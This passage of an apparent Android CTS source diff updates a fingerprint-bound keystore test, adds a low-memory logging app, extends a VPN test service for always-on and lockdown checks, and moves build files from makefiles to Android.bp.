diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/FingerprintBoundKeysTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/FingerprintBoundKeysTest.java
index 651b6bf..a8da29d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/security/FingerprintBoundKeysTest.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/FingerprintBoundKeysTest.java
@@ -65,10 +65,12 @@
     /** Alias for our key in the Android Key Store. */
     private static final String KEY_NAME = "my_key";
     private static final byte[] SECRET_BYTE_ARRAY = new byte[] {1, 2, 3, 4, 5, 6};
-    private static final int AUTHENTICATION_DURATION_SECONDS = 5;
+    private static final int AUTHENTICATION_DURATION_SECONDS = 2;
     private static final int CONFIRM_CREDENTIALS_REQUEST_CODE = 1;
     private static final int FINGERPRINT_PERMISSION_REQUEST_CODE = 0;
 
+    protected boolean useStrongBox;
+
     private FingerprintManager mFingerprintManager;
     private KeyguardManager mKeyguardManager;
     private FingerprintAuthDialogFragment mFingerprintDialog;
@@ -88,6 +90,7 @@
     @Override
     public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] state) {
         if (requestCode == FINGERPRINT_PERMISSION_REQUEST_CODE && state[0] == PackageManager.PERMISSION_GRANTED) {
+            useStrongBox = false;
             mFingerprintManager = (FingerprintManager) getSystemService(Context.FINGERPRINT_SERVICE);
             mKeyguardManager = (KeyguardManager) getSystemService(KeyguardManager.class);
             Button startTestButton = (Button) findViewById(R.id.sec_start_test_button);
@@ -108,23 +111,27 @@
             startTestButton.setOnClickListener(new OnClickListener() {
                 @Override
                 public void onClick(View v) {
-                    createKey();
-                    prepareEncrypt();
-                    if (tryEncrypt()) {
-                        showToast("Test failed. Key accessible without auth.");
-                    } else {
-                        showAuthenticationScreen();
-                    }
+                    startTest();
                 }
             });
         }
     }
 
+    protected void startTest() {
+        createKey(false /* hasValidityDuration */);
+        prepareEncrypt();
+        if (tryEncrypt()) {
+            showToast("Test failed. Key accessible without auth.");
+        } else {
+            prepareEncrypt();
+            showAuthenticationScreen();
+        }
+    }
+
     /**
-     * Creates a symmetric key in the Android Key Store which can only be used after the user has
-     * authenticated with device credentials within the last X seconds.
+     * Creates a symmetric key in the Android Key Store which requires auth
      */
-    private void createKey() {
+    private void createKey(boolean hasValidityDuration) {
         // Generate a key to decrypt payment credentials, tokens, etc.
         // This will most likely be a registration step for the user when they are setting up your app.
         try {
@@ -139,7 +146,10 @@
                     KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT)
                     .setBlockModes(KeyProperties.BLOCK_MODE_CBC)
                     .setUserAuthenticationRequired(true)
+                    .setUserAuthenticationValidityDurationSeconds(
+                        hasValidityDuration ? AUTHENTICATION_DURATION_SECONDS : -1)
                     .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_PKCS7)
+                    .setIsStrongBoxBacked(useStrongBox)
                     .build());
             keyGenerator.generateKey();
             if (DEBUG) {
@@ -175,15 +185,24 @@
         return mCipher;
     }
 
+    protected boolean doValidityDurationTest(boolean useStrongBox) {
+        mCipher = null;
+        createKey(true /* hasValidityDuration */);
+        if (prepareEncrypt()) {
+            return tryEncrypt();
+        }
+        return false;
+    }
+
     private boolean encryptInternal(boolean doEncrypt) {
         try {
-            KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
-            keyStore.load(null);
-            SecretKey secretKey = (SecretKey) keyStore.getKey(KEY_NAME, null);
-            if (DEBUG) {
-                Log.i(TAG, "encryptInternal: [1]: key retrieved");
-            }
             if (!doEncrypt) {
+                KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
+                keyStore.load(null);
+                SecretKey secretKey = (SecretKey) keyStore.getKey(KEY_NAME, null);
+                if (DEBUG) {
+                    Log.i(TAG, "encryptInternal: [1]: key retrieved");
+                }
                 if (mCipher == null) {
                     mCipher = Cipher.getInstance(KeyProperties.KEY_ALGORITHM_AES + "/"
                             + KeyProperties.BLOCK_MODE_CBC + "/"
@@ -205,18 +224,22 @@
             // All we want it to see the event in the log;
             // Extra exception info is not valuable
             if (DEBUG) {
-                Log.i(TAG, "encryptInternal: [4]: Encryption failed");
+                Log.w(TAG, "encryptInternal: [4]: Encryption failed", e);
             }
             return false;
         } catch (KeyPermanentlyInvalidatedException e) {
             // Extra exception info is not of big value, but let's have it,
             // since this is an unlikely sutuation and potential error condition
             Log.w(TAG, "encryptInternal: [5]: Key invalidated", e);
-            createKey();
+            createKey(false /* hasValidityDuration */);
             showToast("The key has been invalidated, please try again.\n");
             return false;
-        } catch (NoSuchPaddingException | KeyStoreException | CertificateException | UnrecoverableKeyException | IOException
-                | NoSuchAlgorithmException | InvalidKeyException e) {
+        } catch (UserNotAuthenticatedException e) {
+            Log.w(TAG, "encryptInternal: [6]: User not authenticated", e);
+            return false;
+        } catch (NoSuchPaddingException | KeyStoreException | CertificateException
+                 | UnrecoverableKeyException | IOException
+                 | NoSuchAlgorithmException | InvalidKeyException e) {
             throw new RuntimeException("Failed to init Cipher", e);
         }
     }
@@ -238,6 +261,7 @@
         private FingerprintManager mFingerprintManager;
         private FingerprintManagerCallback mFingerprintManagerCallback;
         private boolean mSelfCancelled;
+        private boolean hasStrongBox;
 
         class FingerprintManagerCallback extends FingerprintManager.AuthenticationCallback {
             @Override
@@ -268,10 +292,27 @@
                 if (DEBUG) {
                     Log.i(TAG,"onAuthenticationSucceeded");
                 }
-                if (mActivity.tryEncrypt()) {
-                    showToast("Test passed.");
-                    mActivity.getPassButton().setEnabled(true);
-                    FingerprintAuthDialogFragment.this.dismiss();
+                hasStrongBox = getContext().getPackageManager()
+                                    .hasSystemFeature(PackageManager.FEATURE_STRONGBOX_KEYSTORE);
+                if (mActivity.tryEncrypt() &&
+                    mActivity.doValidityDurationTest(false)) {
+                    try {
+                        Thread.sleep(3000);
+                    } catch (Exception e) {
+                        throw new RuntimeException("Failed to sleep", e);
+                    }
+                    if (!mActivity.doValidityDurationTest(false)) {
+                        showToast(String.format("Test passed. useStrongBox: %b",
+                                                mActivity.useStrongBox));
+                        if (mActivity.useStrongBox || !hasStrongBox) {
+                            mActivity.getPassButton().setEnabled(true);
+                        } else {
+                            showToast("Rerunning with StrongBox");
+                        }
+                        FingerprintAuthDialogFragment.this.dismiss();
+                    } else {
+                        showToast("Test failed. Key accessible after validity time limit.");
+                    }
                 } else {
                     showToast("Test failed. Key not accessible after auth");
                 }
@@ -282,6 +323,11 @@
         public void onDismiss(DialogInterface dialog) {
             mCancellationSignal.cancel();
             mSelfCancelled = true;
+            // Start the test again, but with StrongBox if supported
+            if (!mActivity.useStrongBox && hasStrongBox) {
+                mActivity.useStrongBox = true;
+                mActivity.startTest();
+            }
         }
 
         private void setActivity(FingerprintBoundKeysTest activity) {
diff --git a/apps/CtsVerifierUSBCompanion/Android.mk b/apps/CtsVerifierUSBCompanion/Android.mk
index 2e08142..c505b13 100644
--- a/apps/CtsVerifierUSBCompanion/Android.mk
+++ b/apps/CtsVerifierUSBCompanion/Android.mk
@@ -28,6 +28,7 @@
 LOCAL_PACKAGE_NAME := CtsVerifierUSBCompanion
 
 LOCAL_SDK_VERSION := 25
+#LOCAL_MIN_SDK_VERSION := 12
 
 LOCAL_DEX_PREOPT := false
 
diff --git a/apps/EmptyDeviceAdmin/Android.mk b/apps/EmptyDeviceAdmin/Android.mk
index 1d68fbb..ec4c4a3 100644
--- a/apps/EmptyDeviceAdmin/Android.mk
+++ b/apps/EmptyDeviceAdmin/Android.mk
@@ -27,6 +27,7 @@
 LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/res
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 12
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/apps/EmptyDeviceOwner/Android.mk b/apps/EmptyDeviceOwner/Android.mk
index 714e996..0d85bb7 100644
--- a/apps/EmptyDeviceOwner/Android.mk
+++ b/apps/EmptyDeviceOwner/Android.mk
@@ -27,6 +27,7 @@
 LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/res
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 12
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/apps/NotificationBot/Android.mk b/apps/NotificationBot/Android.mk
index 9d9c9f9..8a89b1a 100644
--- a/apps/NotificationBot/Android.mk
+++ b/apps/NotificationBot/Android.mk
@@ -28,6 +28,7 @@
 LOCAL_PROGUARD_FLAG_FILES := proguard.flags
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 19
 
 LOCAL_DEX_PREOPT := false
 
diff --git a/apps/OomCatcher/Android.mk b/apps/OomCatcher/Android.mk
new file mode 100644
index 0000000..7f47e03
--- /dev/null
+++ b/apps/OomCatcher/Android.mk
@@ -0,0 +1,33 @@
+#
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := OomCatcher
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_COMPATIBILITY_SUITE := cts sts
+
+include $(BUILD_CTS_PACKAGE)
+
diff --git a/apps/OomCatcher/AndroidManifest.xml b/apps/OomCatcher/AndroidManifest.xml
new file mode 100644
index 0000000..25513e2
--- /dev/null
+++ b/apps/OomCatcher/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+      package="com.android.cts.oomcatcher"
+      android:versionCode="1"
+      android:versionName="1.0">
+
+    <application>
+        <activity android:name=".OomCatcher">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/apps/OomCatcher/src/com/android/cts/oomcatcher/OomCatcher.java b/apps/OomCatcher/src/com/android/cts/oomcatcher/OomCatcher.java
new file mode 100644
index 0000000..b7cd6c7
--- /dev/null
+++ b/apps/OomCatcher/src/com/android/cts/oomcatcher/OomCatcher.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.oomcatcher;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.app.ActivityManager;
+import android.content.Context;
+import android.content.ComponentCallbacks2;
+import android.util.Log;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+/*
+ * An App to report to logcat the lowmemory status. As soon as the app detects low memory, it
+ * immediately reports. In addition, it also reports every second.
+ */
+public class OomCatcher extends Activity implements ComponentCallbacks2 {
+
+    private static final String LOG_TAG = "OomCatcher";
+
+    private AtomicBoolean isOom = new AtomicBoolean(false);
+
+    Thread logThread;
+
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        logThread = new Thread() {
+            @Override
+            public void run() {
+                while (true) {
+                    logStatus();
+                    try {
+                        Thread.sleep(1000); // 1 second
+                    } catch (InterruptedException e) {
+                        // thread has been killed
+                    }
+                }
+            }
+        };
+        logThread.setDaemon(true);
+        logThread.start();
+    }
+
+    public void onDestroy() {
+        super.onDestroy();
+        if (logThread != null) {
+            logThread.interrupt();
+        }
+    }
+
+    /*
+     * Receive memory callbacks from the Android system. All report low memory except for
+     * TRIM_MEMORY_UI_HIDDEN, which reports when the app is in the background. We don't care about
+     * that, only when the device is at risk of OOMing.
+     *
+     * For all indications of low memory, onLowMemory() is called.
+     */
+    @Override
+    public void onTrimMemory(int level) {
+        Log.i(LOG_TAG, "Memory trim level: " + level);
+        switch (level) {
+            // low priority messages being ignored
+            case TRIM_MEMORY_BACKGROUND: // bg
+            case TRIM_MEMORY_RUNNING_MODERATE: // fg
+                // fallthrough
+                Log.i(LOG_TAG, "ignoring low priority oom messages.");
+                break;
+            // medium priority messages being ignored
+            case TRIM_MEMORY_MODERATE: // bg
+            case TRIM_MEMORY_RUNNING_LOW: // fg
+                // fallthrough
+                Log.i(LOG_TAG, "ignoring medium priority oom messages.");
+                break;
+            // high priority messages
+            case TRIM_MEMORY_COMPLETE: // bg
+            case TRIM_MEMORY_RUNNING_CRITICAL: // fg
+                // fallthrough
+                onLowMemory();
+                break;
+            case TRIM_MEMORY_UI_HIDDEN:
+                Log.i(LOG_TAG, "UI is hidden because the app is in the background.");
+                break;
+            default:
+                Log.i(LOG_TAG, "unknown memory trim message.");
+                return;
+        }
+    }
+
+    /*
+     * An earlier API implementation of low memory callbacks. Sets oom status and logs.
+     */
+    @Override
+    public void onLowMemory() {
+        isOom.set(true);
+        logStatus();
+    }
+
+    /*
+     * Log to logcat the current lowmemory status of the app.
+     */
+    private void logStatus() {
+        Log.i(LOG_TAG, isOom.get() ? "Low memory" : "Normal memory");
+    }
+}
diff --git a/apps/PermissionApp/Android.mk b/apps/PermissionApp/Android.mk
index cf4186d..026c803 100644
--- a/apps/PermissionApp/Android.mk
+++ b/apps/PermissionApp/Android.mk
@@ -27,6 +27,7 @@
 LOCAL_PACKAGE_NAME := CtsPermissionApp
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 23
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
diff --git a/apps/VpnApp/api23/Android.mk b/apps/VpnApp/api23/Android.mk
index e25cb91..67fbf6b 100755
--- a/apps/VpnApp/api23/Android.mk
+++ b/apps/VpnApp/api23/Android.mk
@@ -27,6 +27,7 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
 
 #LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 22
 LOCAL_PRIVATE_PLATFORM_APIS := true
 
 # tag this module as a cts test artifact
diff --git a/apps/VpnApp/api23/AndroidManifest.xml b/apps/VpnApp/api23/AndroidManifest.xml
index cf01d58..cd2f19b 100644
--- a/apps/VpnApp/api23/AndroidManifest.xml
+++ b/apps/VpnApp/api23/AndroidManifest.xml
@@ -17,7 +17,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.vpnfirewall">
 
-    <uses-sdk android:minSdkVersion="22" android:targetSdkVersion="23"/>
+    <uses-sdk android:targetSdkVersion="23"/>
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
 
     <application android:label="@string/app">
diff --git a/apps/VpnApp/api24/Android.mk b/apps/VpnApp/api24/Android.mk
index ec36333..7d03f16 100755
--- a/apps/VpnApp/api24/Android.mk
+++ b/apps/VpnApp/api24/Android.mk
@@ -27,6 +27,7 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
 
 #LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 22
 LOCAL_PRIVATE_PLATFORM_APIS := true
 
 # tag this module as a cts test artifact
diff --git a/apps/VpnApp/api24/AndroidManifest.xml b/apps/VpnApp/api24/AndroidManifest.xml
index 3161c15..964e741 100644
--- a/apps/VpnApp/api24/AndroidManifest.xml
+++ b/apps/VpnApp/api24/AndroidManifest.xml
@@ -17,7 +17,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.vpnfirewall">
 
-    <uses-sdk android:minSdkVersion="22" android:targetSdkVersion="24"/>
+    <uses-sdk android:targetSdkVersion="24"/>
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
 
     <application android:label="@string/app">
diff --git a/apps/VpnApp/latest/Android.mk b/apps/VpnApp/latest/Android.mk
index 0431bef..317d8b0 100755
--- a/apps/VpnApp/latest/Android.mk
+++ b/apps/VpnApp/latest/Android.mk
@@ -27,6 +27,7 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
 
 #LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 22
 LOCAL_PRIVATE_PLATFORM_APIS := true
 
 # tag this module as a cts test artifact
diff --git a/apps/VpnApp/latest/AndroidManifest.xml b/apps/VpnApp/latest/AndroidManifest.xml
index f81e381..ff9ee84 100644
--- a/apps/VpnApp/latest/AndroidManifest.xml
+++ b/apps/VpnApp/latest/AndroidManifest.xml
@@ -17,7 +17,6 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.vpnfirewall">
 
-    <uses-sdk android:minSdkVersion="22"/>
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
 
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
diff --git a/apps/VpnApp/notalwayson/Android.mk b/apps/VpnApp/notalwayson/Android.mk
index 06731f8..799056a 100755
--- a/apps/VpnApp/notalwayson/Android.mk
+++ b/apps/VpnApp/notalwayson/Android.mk
@@ -27,6 +27,7 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
 
 #LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 22
 LOCAL_PRIVATE_PLATFORM_APIS := true
 
 # tag this module as a cts test artifact
diff --git a/apps/VpnApp/notalwayson/AndroidManifest.xml b/apps/VpnApp/notalwayson/AndroidManifest.xml
index b356369..4b9184e 100644
--- a/apps/VpnApp/notalwayson/AndroidManifest.xml
+++ b/apps/VpnApp/notalwayson/AndroidManifest.xml
@@ -17,7 +17,6 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.vpnfirewall">
 
-    <uses-sdk android:minSdkVersion="22"/>
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
 
diff --git a/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java b/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java
index 1397687..e7c4ffc 100755
--- a/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java
+++ b/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java
@@ -40,24 +40,28 @@
 import java.net.UnknownHostException;
 
 public class ReflectorVpnService extends VpnService {
-
     private static final String TAG = "ReflectorVpnService";
     private static final String DEVICE_AND_PROFILE_OWNER_PACKAGE =
         "com.android.cts.deviceandprofileowner";
     private static final String ACTION_VPN_IS_UP = "com.android.cts.vpnfirewall.VPN_IS_UP";
+    private static final String ACTION_VPN_ON_START = "com.android.cts.vpnfirewall.VPN_ON_START";
     private static final int NOTIFICATION_ID = 1;
     private static final String NOTIFICATION_CHANNEL_ID = TAG;
-    private static int MTU = 1799;
+    private static final int MTU = 1799;
 
     private ParcelFileDescriptor mFd = null;
     private PingReflector mPingReflector = null;
     private ConnectivityManager mConnectivityManager = null;
     private ConnectivityManager.NetworkCallback mNetworkCallback = null;
 
-    public static final String RESTRICTION_ADDRESSES = "vpn.addresses";
-    public static final String RESTRICTION_ROUTES = "vpn.routes";
-    public static final String RESTRICTION_ALLOWED = "vpn.allowed";
-    public static final String RESTRICTION_DISALLOWED = "vpn.disallowed";
+    private static final String RESTRICTION_ADDRESSES = "vpn.addresses";
+    private static final String RESTRICTION_ROUTES = "vpn.routes";
+    private static final String RESTRICTION_ALLOWED = "vpn.allowed";
+    private static final String RESTRICTION_DISALLOWED = "vpn.disallowed";
+    /** Service won't create the tunnel, to test lockdown behavior in case of VPN failure. */
+    private static final String RESTRICTION_DONT_ESTABLISH = "vpn.dont_establish";
+    private static final String EXTRA_ALWAYS_ON = "always-on";
+    private static final String EXTRA_LOCKDOWN = "lockdown";
 
     @Override
     public int onStartCommand(Intent intent, int flags, int startId) {
@@ -71,7 +75,7 @@
                 .setSmallIcon(R.drawable.ic_dialog_alert)
                 .build());
         start();
-        return START_REDELIVER_INTENT;
+        return START_NOT_STICKY;
     }
 
     @Override
@@ -95,6 +99,18 @@
     }
 
     private void start() {
+        final UserManager um = (UserManager) getSystemService(Context.USER_SERVICE);
+        final Bundle restrictions = um.getApplicationRestrictions(getPackageName());
+
+        final Intent intent = new Intent(ACTION_VPN_ON_START);
+        intent.setPackage(DEVICE_AND_PROFILE_OWNER_PACKAGE);
+        sendBroadcast(intent);
+
+        if (restrictions.getBoolean(RESTRICTION_DONT_ESTABLISH)) {
+            stopSelf();
+            return;
+        }
+
         VpnService.prepare(this);
 
         ensureNetworkCallbackUnregistered();
@@ -106,9 +122,11 @@
         mNetworkCallback = new ConnectivityManager.NetworkCallback() {
                 @Override
                 public void onAvailable(final Network net) {
-                    final Intent vpnIsUpIntent = new Intent(ACTION_VPN_IS_UP);
-                    vpnIsUpIntent.setPackage(DEVICE_AND_PROFILE_OWNER_PACKAGE);
-                    sendBroadcast(vpnIsUpIntent);
+                    final Intent intent = new Intent(ACTION_VPN_IS_UP);
+                    intent.setPackage(DEVICE_AND_PROFILE_OWNER_PACKAGE);
+                    intent.putExtra(EXTRA_ALWAYS_ON, isAlwaysOn());
+                    intent.putExtra(EXTRA_LOCKDOWN, isLockdownEnabled());
+                    sendBroadcast(intent);
                     ensureNetworkCallbackUnregistered();
                 }
             };
@@ -116,8 +134,6 @@
 
         Builder builder = new Builder();
 
-        final UserManager um = (UserManager) getSystemService(Context.USER_SERVICE);
-        final Bundle restrictions = um.getApplicationRestrictions(getPackageName());
 
         String[] addressArray = restrictions.getStringArray(RESTRICTION_ADDRESSES);
         if (addressArray == null) {
diff --git a/build/config.mk b/build/config.mk
index 159dc8d..2f0c7b5 100644
--- a/build/config.mk
+++ b/build/config.mk
@@ -24,4 +24,3 @@
 BUILD_CTS_TARGET_JAVA_LIBRARY := cts/build/test_target_java_library.mk
 BUILD_CTS_SUPPORT_PACKAGE := cts/build/support_package.mk
 BUILD_CTS_DEVICE_INFO_PACKAGE := cts/build/device_info_package.mk
-BUILD_CTS_TARGET_TESTNG_PACKAGE := cts/build/test_target_testng_package.mk
diff --git a/build/host_java_library.mk b/build/host_java_library.mk
index 303527e..6db1995 100644
--- a/build/host_java_library.mk
+++ b/build/host_java_library.mk
@@ -17,6 +17,8 @@
 # Replace "include $(BUILD_HOST_JAVA_LIBRARY) with "include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 #
 
+# !!! Any changes to this file need to be reflected in cts/Android.bp "cts_defaults"
+
 -include cts/error_prone_rules_tests.mk
 
 include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/build/support_package.mk b/build/support_package.mk
index 83d7da9..6ab601f 100644
--- a/build/support_package.mk
+++ b/build/support_package.mk
@@ -18,6 +18,8 @@
 # Replace "include $(BUILD_PACKAGE)" with "include $(BUILD_CTS_SUPPORT_PACKAGE)"
 #
 
+# !!! Any changes to this file need to be reflected in cts/Android.bp "cts_support_defaults"
+
 # Disable by default so "m cts" will work in emulator builds
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
diff --git a/build/test_package.mk b/build/test_package.mk
index 2aa0852..e71a224 100644
--- a/build/test_package.mk
+++ b/build/test_package.mk
@@ -18,6 +18,8 @@
 # Replace "include $(BUILD_PACKAGE)" with "include $(BUILD_CTS_PACKAGE)"
 #
 
+# !!! Any changes to this file need to be reflected in cts/Android.bp "cts_defaults"
+
 LOCAL_STATIC_JAVA_LIBRARIES += platform-test-annotations
 
 -include cts/error_prone_rules_tests.mk
diff --git a/build/test_target_java_library.mk b/build/test_target_java_library.mk
index c932c30..0e36ca3 100644
--- a/build/test_target_java_library.mk
+++ b/build/test_target_java_library.mk
@@ -16,6 +16,8 @@
 # Builds a Java library.
 #
 
+# !!! Any changes to this file need to be reflected in cts/Android.bp "cts_defaults"
+
 # Disable by default so "m cts" will work in emulator builds
 LOCAL_DEX_PREOPT := false
 LOCAL_STATIC_JAVA_LIBRARIES += platform-test-annotations
diff --git a/common/Android.mk b/common/Android.mk
deleted file mode 100644
index a8b6af7..0000000
--- a/common/Android.mk
+++ /dev/null
@@ -1,15 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-include $(call all-subdir-makefiles)
diff --git a/common/device-side/Android.mk b/common/device-side/Android.mk
deleted file mode 100644
index a8b6af7..0000000
--- a/common/device-side/Android.mk
+++ /dev/null
@@ -1,15 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-include $(call all-subdir-makefiles)
diff --git a/common/device-side/device-info/Android.bp b/common/device-side/device-info/Android.bp
new file mode 100644
index 0000000..127bb1d
--- /dev/null
+++ b/common/device-side/device-info/Android.bp
@@ -0,0 +1,41 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "compatibility-device-info",
+
+    srcs: ["src/**/*.java"],
+
+    static_libs: [
+        "compatibility-device-util-axt",
+        "androidx.test.rules",
+        "junit",
+    ],
+
+    libs: [
+        "android.test.base.stubs",
+        "framework-stub-for-compatibility-device-info",
+    ],
+
+    sdk_version: "test_current",
+}
+
+java_library {
+    // This stub library provides some internal APIs (SystemProperties, VintfObject, etc.)
+    // to compatibility-device-info library.
+    name: "framework-stub-for-compatibility-device-info",
+    srcs: ["src_stub/**/*.java"],
+
+    sdk_version: "current",
+}
diff --git a/common/device-side/device-info/Android.mk b/common/device-side/device-info/Android.mk
deleted file mode 100644
index 90836d1..0000000
--- a/common/device-side/device-info/Android.mk
+++ /dev/null
@@ -1,48 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt \
-    androidx.test.rules \
-    junit
-
-LOCAL_JAVA_LIBRARIES := \
-    android.test.base.stubs \
-    framework-stub-for-compatibility-device-info
-
-LOCAL_MODULE := compatibility-device-info
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-include $(CLEAR_VARS)
-# This stub library provides some internal APIs (SystemProperties, VintfObject, etc.)
-# to compatibility-device-info library.
-LOCAL_MODULE := framework-stub-for-compatibility-device-info
-LOCAL_SRC_FILES := $(call all-java-files-under, src_stub)
-LOCAL_MODULE_TAGS := optional
-LOCAL_SDK_VERSION := current
-LOCAL_UNINSTALLABLE_MODULE := true
-include $(BUILD_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/common/device-side/device-info/tests/Android.bp b/common/device-side/device-info/tests/Android.bp
new file mode 100644
index 0000000..10f42da
--- /dev/null
+++ b/common/device-side/device-info/tests/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
